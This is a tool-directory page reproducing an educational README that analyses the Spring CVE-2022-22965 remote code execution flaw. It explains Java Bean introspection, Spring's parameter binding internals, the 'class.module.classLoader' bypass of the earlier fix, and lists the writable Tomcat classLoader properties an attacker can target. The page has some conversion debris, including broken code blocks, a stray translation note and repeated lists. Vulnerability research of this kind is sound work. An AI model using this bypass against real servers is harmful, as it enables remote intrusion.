Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
spring-RCE-CVE-2022-22965 — Educational analysis and proof-of-concept exploit for CVE-2022-22965, a Spring MVC/WebFlux remote code execution vulnerability via data binding on JDK 9+ with Tomcat WAR deployment. | Kitploit
Tools/GitHubGitHub/enokiy/spring-rce-cve-2022-22965
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubenokiy/spring-rce-cve-2022-22965

spring-RCE-CVE-2022-22965

Educational analysis and proof-of-concept exploit for CVE-2022-22965, a Spring MVC/WebFlux remote code execution vulnerability via data binding on JDK 9+ with Tomcat WAR deployment.

View Repository
24 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Vulnerability Overview

Recently, Spring released a major CVE vulnerability. The CVE information states: "A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it (Spring MVC or Spring WebFlux applications running on JDK 9+ may be vulnerable to remote code execution via data binding. The specific exploit requires the application to be deployed as a war package on Tomcat. If the application is deployed as a Spring Boot executable jar, i.e., the default, it is not vulnerable. However, the nature of the vulnerability is more general, and there may be other ways to exploit it)." This analysis learns the vulnerability principle through reproduction of this CVE.

Java Bean API

Before looking at the principle of Spring MVC parameter binding, let's first take a look at some APIs related to Java Beans.

  • Java Bean: Actually a specification, when a class meets this specification, it can be called by other specific classes. When a class is used as a Java Bean, it contains a set of private properties, and reads and writes properties through public get/is() or set() methods.
  • Introspector (introspection): The Introspector class provides a standard way for tools to learn about the properties, events, and methods supported by a target Java Bean. For each of those three kinds of information, the Introspector will separately analyze the bean's class and superclasses looking for either explicit or implicit information and use that information to build a BeanInfo object that comprehensively describes the target bean. (The default processing method provided by Java for the properties, events, and methods of Java Bean classes. For example, when looking for a property/method of a bean class, if the property is not found in the current bean class, it searches in the parent class of the bean class, etc.)
  • BeanInfo: Introspect on a Java Bean and learn about all its properties, exposed methods, and events. If the BeanInfo class for a Java Bean has been previously Introspected then the BeanInfo class is retrieved from the BeanInfo cache. (Introspect a Java Bean and understand all its properties, exposed methods, and events. If the BeanInfo class for a Java Bean has been previously introspected, then the BeanInfo class is retrieved from the BeanInfo cache.)
  • PropertyDescriptor: Used to describe the properties exposed by a Java Bean through a set of accessor methods.
  • Declare the following Java bean class:```java public class User { private String name;

    root@kitploit:~
    public User() {
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getName() {
        return this.name;
    }
    public int getAge() {
        return 18;
    }
    

    }

    root@kitploit:~
    Use the following test code to see the information obtained by Introspector.getBeanInfo:```java
    @Test
        public  void testIntrospector() throws IntrospectionException {
            BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
            for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
                System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
            }
    //        for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
    //            System.out.println("Method: " + md.getName());
    //        }
        }
    

    (empty)```text Property: age,Class:int Property: class,Class:class java.lang.Class Property: name,Class:class java.lang.String

    root@kitploit:~
    Apart from the expected `age` and `that`, there is also a `class` attribute with the class name `Class`. If you continue to call `Introspector.getBeanInfo(Class.class)`, you can obtain more information such as `classLoader`:```text jdk11:
    Property: annotatedInterfaces
    Property: annotatedSuperclass
    Property: annotation
    Property: annotations
    Property: anonymousClass
    Property: array
    Property: canonicalName
    Property: class
    Property: classLoader
    Property: classes
    Property: componentType
    Property: constructors
    Property: declaredAnnotations
    Property: declaredClasses
    Property: declaredConstructors
    Property: declaredFields
    Property: declaredMethods
    Property: declaringClass
    Property: enclosingClass
    Property: enclosingConstructor
    Property: enclosingMethod
    Property: enum
    Property: enumConstants
    Property: fields
    Property: genericInterfaces
    Property: genericSuperclass
    Property: interface
    Property: interfaces
    Property: localClass
    Property: memberClass
    Property: methods
    Property: modifiers
    Property: module
    Property: name
    Property: nestHost
    Property: nestMembers
    Property: package
    Property: packageName
    Property: primitive
    Property: protectionDomain
    Property: signers
    Property: simpleName
    Property: superclass
    Property: synthetic
    Property: typeName
    Property: typeParameters
    

    Also, compare the differences in the information obtained by Introspector.getBeanInfo(Class.class) under different JDK versions. The above is the output under jdk-11, and the below is the output under JDK8:```text jdk8: Property: annotatedInterfaces Property: annotatedSuperclass Property: annotation Property: annotations Property: anonymousClass Property: array Property: canonicalName Property: class Property: classLoader Property: classes Property: componentType Property: constructors Property: declaredAnnotations Property: declaredClasses Property: declaredConstructors Property: declaredFields Property: declaredMethods Property: declaringClass Property: enclosingClass Property: enclosingConstructor Property: enclosingMethod Property: enum Property: enumConstants Property: fields Property: genericInterfaces Property: genericSuperclass Property: interface Property: interfaces Property: localClass Property: memberClass Property: methods Property: modifiers Property: name Property: package Property: primitive Property: protectionDomain Property: signers Property: simpleName Property: superclass Property: synthetic Property: typeName Property: typeParameters

    root@kitploit:~
    这是 README 的第十一部分翻译。```text
    Property: annotatedInterfaces
    Property: annotatedSuperclass
    Property: annotation
    Property: annotations
    Property: anonymousClass
    Property: array
    Property: canonicalName
    Property: class
    Property: classLoader
    Property: classes
    Property: componentType
    Property: constructors
    Property: declaredAnnotations
    Property: declaredClasses
    Property: declaredConstructors
    Property: declaredFields
    Property: declaredMethods
    Property: declaringClass
    Property: enclosingClass
    Property: enclosingConstructor
    Property: enclosingMethod
    Property: enum
    Property: enumConstants
    Property: fields
    Property: genericInterfaces
    Property: genericSuperclass
    Property: interface
    Property: interfaces
    Property: localClass
    Property: memberClass
    Property: methods
    Property: modifiers
    Property: module
    Property: name
    Property: package
    Property: packageName
    Property: primitive
    Property: protectionDomain
    Property: signers
    Property: simpleName
    Property: superclass
    Property: synthetic
    Property: typeName
    Property: typeParameters
    

    JDK9 adds two attributes, module and packageName, compared to JDK8. In JDK11, besides module and packageName, there are two additional attributes: nestHost and nestMembers.

    data binding

    The parameter binding process in web frameworks, simply put, is that the framework converts string-form parameters in HTTP requests into the types actually needed by the server. Taking Spring MVC as an example: Define two Bean classes, User and UserInfo:```java public class UserInfo { public User getUser() { return user; }

    root@kitploit:~
    public void setUser(User user) {
        this.user = user;
    }
    
    public String getPassword() {
        return password;
    }
    
    public void setPassword(String password) {
        this.password = password;
    }
    
    private User user;
    private String password;
    
    @Override
    public String toString() {
        return "UserInfo{" +
                "user=" + user +
                ", password='" + password + '\'' +
                '}';
    }
    

    }

    root@kitploit:~
    Use the following controller as a test:```java
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    
    @RestController
    public class DemoController {
        public DemoController() {
        }
    
        @RequestMapping({"/test"})
        public String test(User u) {
            System.out.println("access!");
            return "home";
        }
    
        @RequestMapping({"/get-user-info"})
        public String getUserInfo(UserInfo userInfo) {
            System.out.println("Name:"  + userInfo.getUser().getName());
            System.out.println("Age:"  + userInfo.getUser().getAge());
            System.out.println("password:" + userInfo.getPassword());
            System.out.println("classLoader:" + userInfo.getClass().getClassLoader());
    
            return userInfo.toString();
        }
    }
    

    When we visit /get-user-info?password=password&user.name=enokiy, the framework automatically instantiates the UserInfo class and binds the corresponding values to the corresponding properties (through user.name we can access the userInfo.user.name property in a nested manner):

    Let's debug to see the complete flow of data binding in Spring MVC:

    Starting from the doDispatch method of org.springframework.web.servlet.DispatcherServlet, in the doDispatch method we first obtain mappedHandler based on the request, then obtain HandlerAdapter, and then call the handle() method of HandlerAdapter to process the request specifically and return ModelAndView:

    Here, in HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()), the ha obtained is actually an instance of the org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter class. After executing the handle() method of HandlerAdapter, we enter the invokeHandleMethod method of RequestMappingHandlerAdapter:

    Then in the invokeHandleMethod method, based on handlerMethod, an instance invocableMethod of ServletInvocableHandlerMethod is generated, with the corresponding dataBinderFactory, modelFactory, and argumentResolvers set. Then we enter invocableMethod.invokeAndHandle → invokeForRequest → getMethodArgumentValues, where resolution is done through different parameter resolvers:

    The parameter resolvers here are as follows:```text org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver org.springframework.web.method.annotation.ModelMethodProcessor org.springframework.web.method.annotation.MapMethodProcessor org.springframework.web.method.annotation.ErrorsMethodArgumentResolver org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor

    root@kitploit:~
    So how do we know which specific parameter resolver to use for resolving the parameters in the current request? In Spring MVC, it is determined based on the annotation information of the parameter (the code logic is in the `HandlerMethodArgumentResolverComposite#getArgumentResolver` method). For example, if `@RequestMapping` and `@ModelAttribute` annotations are used, then `org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor` is used; `@RequestParam` corresponds to `RequestParamMethodArgumentResolver`, etc.
    
    The annotation used in the current demo is `@RequestMapping`, so let's continue to look at the parameter binding process in the `ServletModelAttributeMethodProcessor` class:```java
    public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
    			NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
    
    		Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
    		Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
    
    		String name = ModelFactory.getNameForParameter(parameter);
    		ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
    		if (ann != null) {
    			mavContainer.setBinding(name, ann.binding());
    		}
    
    		Object attribute = null;
    		BindingResult bindingResult = null;
    
    		if (mavContainer.containsAttribute(name)) {
    			attribute = mavContainer.getModel().get(name);
    		}
    		else {
    			// Create attribute instance
    			try {
    				attribute = createAttribute(name, parameter, binderFactory, webRequest);
    			}
    			catch (BindException ex) {
    				if (isBindExceptionRequired(parameter)) {
    					// No BindingResult parameter -> fail with BindException
    					throw ex;
    				}
    				// Otherwise, expose null/empty value and associated BindingResult
    				if (parameter.getParameterType() == Optional.class) {
    					attribute = Optional.empty();
    				}
    				bindingResult = ex.getBindingResult();
    			}
    		}
    
    		if (bindingResult == null) {
    			// Bean property binding and validation;
    			// skipped in case of binding failure on construction.
    			WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
    			if (binder.getTarget() != null) {
    				if (!mavContainer.isBindingDisabled(name)) {
    					bindRequestParameters(binder, webRequest);
    				}
    				validateIfApplicable(binder, parameter);
    				if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
    					throw new BindException(binder.getBindingResult());
    				}
    			}
    			// Value type adaptation, also covering java.util.Optional
    			if (!parameter.getParameterType().isInstance(attribute)) {
    				attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
    			}
    			bindingResult = binder.getBindingResult();
    		}
    
    		// Add resolved attribute and BindingResult at the end of the model
    		Map<String, Object> bindingResultModel = bindingResult.getModel();
    		mavContainer.removeAttributes(bindingResultModel);
    		mavContainer.addAllAttributes(bindingResultModel);
    
    		return attribute;
    	}
    

    Based on the request parameters, obtain the parameter name in the model. First, check whether the parameter name exists in ModelAndViewContainer. If it does, directly retrieve the attribute from ModelAndViewContainer; otherwise, enter ServletModelAttributeMethodProcessor#createAttribute to create the model attribute:

    • ServletModelAttributeMethodProcessor#createAttribute:

      First, in the current class, check whether the request URI and parameters contain the attribute name (getRequestValueForAttribute method). If they do, return the value; otherwise, proceed to the super.createAttribute method:

    • binderFactory.createBinder: Create WebRequestDataBinder

    • bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters --> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind --> DataBinder#doBind --> DataBinder#applyPropertyValues --> DataBinder#getPropertyAccessor().setPropertyValues:

    Among them, in the DataBinder#doBind method, there are checks for allowFields and requiredFields. In the current test version, they are empty by default:

    In AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid), AbstractPropertyAccessor#setPropertyValue is called in a loop to bind the property values of each request parameter. During the binding process, if the parameter name contains ".", it is also necessary to recursively bind the properties after "." by calling getNestedPropertyAccessor:

    The process of recursively obtaining property values enters the following data flow processing:```text AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults

    root@kitploit:~
    In the `getLocalPropertyHandler` method, the `getCachedIntrospectionResults` method is called to check if the current property exists in `cachedIntrospectionResults`. In addition to the properties from the current request, `cachedIntrospectionResults` also contains a built-in property named `class`:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/7c9e3bf3ba9832dd338ee71f075c3a7f90cd7ac4b94310336434cc4d6fde10a4.png)
    
    As mentioned earlier in the introspection mechanism regarding obtaining BeanInfo, if the BeanInfo class of a Java Bean has been previously introspected, the BeanInfo class is retrieved from the BeanInfo cache. Therefore, the role of `cachedIntrospectionResults` here should be to implement this feature:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/04859312c68bb0ba7386a1fa22b246049c4e04ba4fc98a859abf14fb52a87165.png)
    
    At this point, let's summarize the parameter binding process in Spring MVC:
    1. When Spring MVC initializes, the `RequestMappingHandlerAdapter` class adds some default argument resolvers to `argumentResolvers`. When Spring MVC receives a request, it enters the `doDispatch` method of `DispatcherServlet`. In the `doDispatch` method, it first obtains the `mappedHandler` based on the request, then obtains the `HandlerAdapter`, processes the request specifically by calling the `handle()` method of `HandlerAdapter`, and returns a `ModelAndView`. The `ViewResolver` then resolves and returns a `View`, and the front-end parser finally renders the view.
       ![http://rui0.cn/wp-content/uploads/2019/10/Ping_Mu_Kuai_Zhao_-2019-10-17-_Xia_Wu_8.png](https://assets.kitploit.com/production/public/readmes/35879/082d72536dff18eff34f77c464bcbdfe4ff913fa5ce05b587da22a81ebdf05d2.png)
    2. During the specific processing of the request in the `handle()` method of `HandlerAdapter`, an instance of `ServletInvocableHandlerMethod` named `invocableMethod` is generated based on the `handlerMethod`. The corresponding `dataBinderFactory`, `modelFactory`, and `argumentResolvers` are set. Then, it enters the `invokeAndHandle` → `invokeForRequest` → `getMethodArgumentValues` methods of `invocableMethod`, where parsing is performed through different argument resolvers. The argument resolver is determined based on the annotation information of the parameter.
    3. During parameter resolution, an instance (property) corresponding to the `handlerMethod` parameter name is first generated for the request parameter. Then, through `DataBinder`, it finally enters `BeanWrapperImpl` to assign values to the relevant properties of the bean. `BeanWrapperImpl` specifically implements methods for creating, holding, and modifying beans.
       The `setPropertyValue` method can inject parameter values into the relevant properties of the specified bean (including list, map, etc.), and can also set property values nested:
    
       ![http://rui0.cn/wp-content/uploads/2019/10/20170119132139329.jpeg](https://assets.kitploit.com/production/public/readmes/35879/6ddd9cc9b1d30ee9f7eb5ccaa133a58bdaf52348b3fa883ca5bd6d049698718c.png)
    
    Both Spring MVC's data binding (binding various parameters to the parameters of the request processing method annotated with `@RequestMapping`) and `BeanFactory` (processing the `@Autowired` annotation) use the `BeanWrapper` interface.
    
    ### Variable Overwrite
    
    Because the `setPropertyValue` method mentioned above looks up in `cachedIntrospectionResults` when setting properties nested, and `cachedIntrospectionResults` contains an extra `class` property in addition to the parameters from the request, it is possible to access properties of `classLoader` through `class.classLoader.xx` in the request. This was the CVE-2010-1622 vulnerability in early Spring versions. The current CVE-2022-22965 is a bypass of the protection mechanism for this vulnerability:
    
    The structure of `cachedIntrospectionResults` is as follows:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/04859312c68bb0ba7386a1fa22b246049c4e04ba4fc98a859abf14fb52a87165.png)
    
    1. The property information of `BeanClass` is extracted via `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)`. Because the `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)` method does not specify a `stopClass`, when a property is not found in the current class, it looks up in the parent class.
    2. The `ClassLoader` and `protectionDomain` properties of the `Class` class are disabled. This is the defense method against CVE-2010-1622.
    
    At the beginning of the article, it was compared that under different JDK versions, the property values obtained via `Introspector.getBeanInfo(xxx)` differ. In JDK 9 and above, two additional properties, `module` and `packageName`, appear. Under the `module` property, there is a `classLoader` property. Therefore, the `module` property can be used to access `classLoader`, thus bypassing the defense against CVE-2010-1622 and achieving variable overwrite:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/b3de4eb5e96fcfd67dcee0d75aa7a9beb84b2b3224ee8fc20b89fa70bd773fe7.png)
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/0ac14514378c20fef1037eac6b336c8ca9673d2b560a3cbd880a4082e56976b1.png)
    
    ### Exploitation
    
    After understanding that the root cause of this vulnerability is variable overwrite, let's look at the issues in the exploitation process:
    1. Which variables can be overwritten?
    2. What impact will the overwritten variables have?
    
    Now it is known that variable overwrite can be performed via `class.module.classLoader`. So which specific variables can be overwritten? In different deployment scenarios of Spring MVC, the `classLoader` differs, so the exploitation method is not universal.
    
    | Deployment Form | classLoader |
    | ---- | ---- |
    | SpringBoot FatJar | org.springframework.boot.loader.LaunchedURLClassLoader |
    | tomcat war | org.apache.catalina.loader.ParallelWebappClassLoader |
    | jetty war | org.eclipse.jetty.webapp.WebAppClassLoader |
    
    Under tomcat war deployment (current test environment: "apache-tomcat-8.5.8" + "jdk-11.0.1"), the readable and writable properties accessible under `class.module` are as follows (incomplete, properties that are List/Map/Set are not collected):
    <details>
    <summary>
    Click to view the readable and writable properties accessible under class.module
    </summary>```text
    class.module
    class.module.classLoader.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.clearReferencesLogFactoryRelease
    class.module.classLoader.clearReferencesRmiTargets
    class.module.classLoader.clearReferencesStopThreads
    class.module.classLoader.clearReferencesStopTimerThreads
    class.module.classLoader.delegate
    class.module.classLoader.resources
    class.module.classLoader.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.resources
    class.module.classLoader.resources.allowLinking
    class.module.classLoader.resources.cacheMaxSize
    class.module.classLoader.resources.cacheObjectMaxSize
    class.module.classLoader.resources.cacheTtl
    class.module.classLoader.resources.cachingAllowed
    class.module.classLoader.resources.context
    class.module.classLoader.resources.domain
    class.module.classLoader.resources.trackLockedFiles
    class.module.classLoader.resources.cacheMaxSize
    class.module.classLoader.resources.cacheObjectMaxSize
    class.module.classLoader.resources.cacheTtl
    class.module.classLoader.resources.context
    class.module.classLoader.resources.context.addWebinfClassesResources
    class.module.classLoader.resources.context.allowCasualMultipartParsing
    class.module.classLoader.resources.context.altDDName
    class.module.classLoader.resources.context.antiResourceLocking
    class.module.classLoader.resources.context.applicationEventListeners
    class.module.classLoader.resources.context.applicationLifecycleListeners
    class.module.classLoader.resources.context.backgroundProcessorDelay
    class.module.classLoader.resources.context.charsetMapper
    class.module.classLoader.resources.context.charsetMapperClass
    class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.resources.context.clearReferencesRmiTargets
    class.module.classLoader.resources.context.clearReferencesStopThreads
    class.module.classLoader.resources.context.clearReferencesStopTimerThreads
    class.module.classLoader.resources.context.cluster
    class.module.classLoader.resources.context.configFile
    class.module.classLoader.resources.context.configured
    class.module.classLoader.resources.context.containerSciFilter
    class.module.classLoader.resources.context.cookieProcessor
    class.module.classLoader.resources.context.cookies
    class.module.classLoader.resources.context.copyXML
    class.module.classLoader.resources.context.crossContext
    class.module.classLoader.resources.context.defaultContextXml
    class.module.classLoader.resources.context.defaultWebXml
    class.module.classLoader.resources.context.delegate
    class.module.classLoader.resources.context.denyUncoveredHttpMethods
    class.module.classLoader.resources.context.dispatchersUseEncodedPaths
    class.module.classLoader.resources.context.displayName
    class.module.classLoader.resources.context.distributable
    class.module.classLoader.resources.context.docBase
    class.module.classLoader.resources.context.domain
    class.module.classLoader.resources.context.effectiveMajorVersion
    class.module.classLoader.resources.context.effectiveMinorVersion
    class.module.classLoader.resources.context.failCtxIfServletStartFails
    class.module.classLoader.resources.context.fireRequestListenersOnFoards
    class.module.classLoader.resources.context.ignoreAnnotations
    class.module.classLoader.resources.context.instanceManager
    class.module.classLoader.resources.context.j2EEApplication
    class.module.classLoader.resources.context.j2EEServer
    class.module.classLoader.resources.context.jarScanner
    class.module.classLoader.resources.context.javaVMs
    class.module.classLoader.resources.context.jndiExceptionOnFailedWrite
    class.module.classLoader.resources.context.jspConfigDescriptor
    class.module.classLoader.resources.context.loader
    class.module.classLoader.resources.context.logEffectiveWebXml
    class.module.classLoader.resources.context.loginConfig
    class.module.classLoader.resources.context.manager
    class.module.classLoader.resources.context.mapperContextRootRedirectEnabled
    class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled
    class.module.classLoader.resources.context.name
    class.module.classLoader.resources.context.namingContextListener
    class.module.classLoader.resources.context.namingResources
    class.module.classLoader.resources.context.originalDocBase
    class.module.classLoader.resources.context.override
    class.module.classLoader.resources.context.parent
    class.module.classLoader.resources.context.parentClassLoader
    class.module.classLoader.resources.context.path
    class.module.classLoader.resources.context.preemptiveAuthentication
    class.module.classLoader.resources.context.privileged
    class.module.classLoader.resources.context.publicId
    class.module.classLoader.resources.context.realm
    class.module.classLoader.resources.context.reloadable
    class.module.classLoader.resources.context.renewThreadsWhenStoppingContext
    class.module.classLoader.resources.context.resourceOnlyServlets
    class.module.classLoader.resources.context.resources
    class.module.classLoader.resources.context.sendRedirectBody
    class.module.classLoader.resources.context.server
    class.module.classLoader.resources.context.sessionCookieDomain
    class.module.classLoader.resources.context.sessionCookieName
    class.module.classLoader.resources.context.sessionCookiePath
    class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
    class.module.classLoader.resources.context.sessionTimeout
    class.module.classLoader.resources.context.startChildren
    class.module.classLoader.resources.context.startStopThreads
    class.module.classLoader.resources.context.startupTime
    class.module.classLoader.resources.context.swallowAbortedUploads
    class.module.classLoader.resources.context.swallowOutput
    class.module.classLoader.resources.context.threadBindingListener
    class.module.classLoader.resources.context.tldScanTime
    class.module.classLoader.resources.context.tldValidation
    class.module.classLoader.resources.context.unloadDelay
    class.module.classLoader.resources.context.unpackWAR
    class.module.classLoader.resources.context.useHttpOnly
    class.module.classLoader.resources.context.useNaming
    class.module.classLoader.resources.context.useRelativeRedirects
    class.module.classLoader.resources.context.validateClientProvidedNewSessionId
    class.module.classLoader.resources.context.webappVersion
    class.module.classLoader.resources.context.workDir
    class.module.classLoader.resources.context.wrapperClass
    class.module.classLoader.resources.context.xmlBlockExternal
    class.module.classLoader.resources.context.xmlNamespaceAware
    class.module.classLoader.resources.context.xmlValidation
    class.module.classLoader.resources.context.applicationEventListeners
    class.module.classLoader.resources.context.applicationLifecycleListeners
    class.module.classLoader.resources.context.authenticator.alwaysUseSession
    class.module.classLoader.resources.context.authenticator.asyncSupported
    class.module.classLoader.resources.context.authenticator.cache
    class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication
    class.module.classLoader.resources.context.authenticator.container
    class.module.classLoader.resources.context.authenticator.disableProxyCaching
    class.module.classLoader.resources.context.authenticator.domain
    class.module.classLoader.resources.context.authenticator.next
    class.module.classLoader.resources.context.authenticator.securePagesWithPragma
    class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm
    class.module.classLoader.resources.context.authenticator.secureRandomClass
    class.module.classLoader.resources.context.authenticator.secureRandomProvider
    class.module.classLoader.resources.context.backgroundProcessorDelay
    class.module.classLoader.resources.context.charsetMapper
    class.module.classLoader.resources.context.configFile
    class.module.classLoader.resources.context.cookieProcessor
    class.module.classLoader.resources.context.effectiveMajorVersion
    class.module.classLoader.resources.context.instanceManager
    class.module.classLoader.resources.context.jarScanner
    class.module.classLoader.resources.context.jarScanner.jarScanFilter
    class.module.classLoader.resources.context.jarScanner.scanAllDirectories
    class.module.classLoader.resources.context.jarScanner.scanAllFiles
    class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath
    class.module.classLoader.resources.context.jarScanner.scanClassPath
    class.module.classLoader.resources.context.jarScanner.scanManifest
    class.module.classLoader.resources.context.loader
    class.module.classLoader.resources.context.loader.context
    class.module.classLoader.resources.context.loader.delegate
    class.module.classLoader.resources.context.loader.domain
    class.module.classLoader.resources.context.loader.loaderClass
    class.module.classLoader.resources.context.loader.reloadable
    class.module.classLoader.resources.context.loginConfig
    class.module.classLoader.resources.context.loginConfig.authMethod
    class.module.classLoader.resources.context.loginConfig.errorPage
    class.module.classLoader.resources.context.loginConfig.loginPage
    class.module.classLoader.resources.context.loginConfig.realmName
    class.module.classLoader.resources.context.manager
    class.module.classLoader.resources.context.manager.context
    class.module.classLoader.resources.context.manager.domain
    class.module.classLoader.resources.context.manager.duplicates
    class.module.classLoader.resources.context.manager.expiredSessions
    class.module.classLoader.resources.context.manager.maxActive
    class.module.classLoader.resources.context.manager.maxActiveSessions
    class.module.classLoader.resources.context.manager.pathname
    class.module.classLoader.resources.context.manager.processExpiresFrequency
    class.module.classLoader.resources.context.manager.processingTime
    class.module.classLoader.resources.context.manager.secureRandomAlgorithm
    class.module.classLoader.resources.context.manager.secureRandomClass
    class.module.classLoader.resources.context.manager.secureRandomProvider
    class.module.classLoader.resources.context.manager.sessionAttributeNameFilter
    class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter
    class.module.classLoader.resources.context.manager.sessionCounter
    class.module.classLoader.resources.context.manager.sessionIdGenerator
    class.module.classLoader.resources.context.manager.sessionMaxAliveTime
    class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure
    class.module.classLoader.resources.context.namingContextListener
    class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite
    class.module.classLoader.resources.context.namingContextListener.name
    class.module.classLoader.resources.context.namingResources
    class.module.classLoader.resources.context.namingResources.container
    class.module.classLoader.resources.context.namingResources.domain
    class.module.classLoader.resources.context.namingResources.transaction
    class.module.classLoader.resources.context.parent
    class.module.classLoader.resources.context.parent.appBase
    class.module.classLoader.resources.context.parent.autoDeploy
    class.module.classLoader.resources.context.parent.backgroundProcessorDelay
    class.module.classLoader.resources.context.parent.cluster
    class.module.classLoader.resources.context.parent.configClass
    class.module.classLoader.resources.context.parent.contextClass
    class.module.classLoader.resources.context.parent.copyXML
    class.module.classLoader.resources.context.parent.createDirs
    class.module.classLoader.resources.context.parent.deployIgnore
    class.module.classLoader.resources.context.parent.deployOnStartup
    class.module.classLoader.resources.context.parent.deployXML
    class.module.classLoader.resources.context.parent.domain
    class.module.classLoader.resources.context.parent.errorReportValveClass
    class.module.classLoader.resources.context.parent.failCtxIfServletStartFails
    class.module.classLoader.resources.context.parent.name
    class.module.classLoader.resources.context.parent.parent
    class.module.classLoader.resources.context.parent.parentClassLoader
    class.module.classLoader.resources.context.parent.realm
    class.module.classLoader.resources.context.parent.startChildren
    class.module.classLoader.resources.context.parent.startStopThreads
    class.module.classLoader.resources.context.parent.undeployOldVersions
    class.module.classLoader.resources.context.parent.unpackWARs
    class.module.classLoader.resources.context.parent.workDir
    class.module.classLoader.resources.context.parent.xmlBase
    class.module.classLoader.resources.context.pipeline.basic
    class.module.classLoader.resources.context.pipeline.container
    class.module.classLoader.resources.context.realm
    class.module.classLoader.resources.context.realm.allRolesMode
    class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
    class.module.classLoader.resources.context.realm.cacheSize
    class.module.classLoader.resources.context.realm.container
    class.module.classLoader.resources.context.realm.credentialHandler
    class.module.classLoader.resources.context.realm.domain
    class.module.classLoader.resources.context.realm.failureCount
    class.module.classLoader.resources.context.realm.lockOutTime
    class.module.classLoader.resources.context.realm.realmPath
    class.module.classLoader.resources.context.realm.stripRealmForGss
    class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
    class.module.classLoader.resources.context.realm.validate
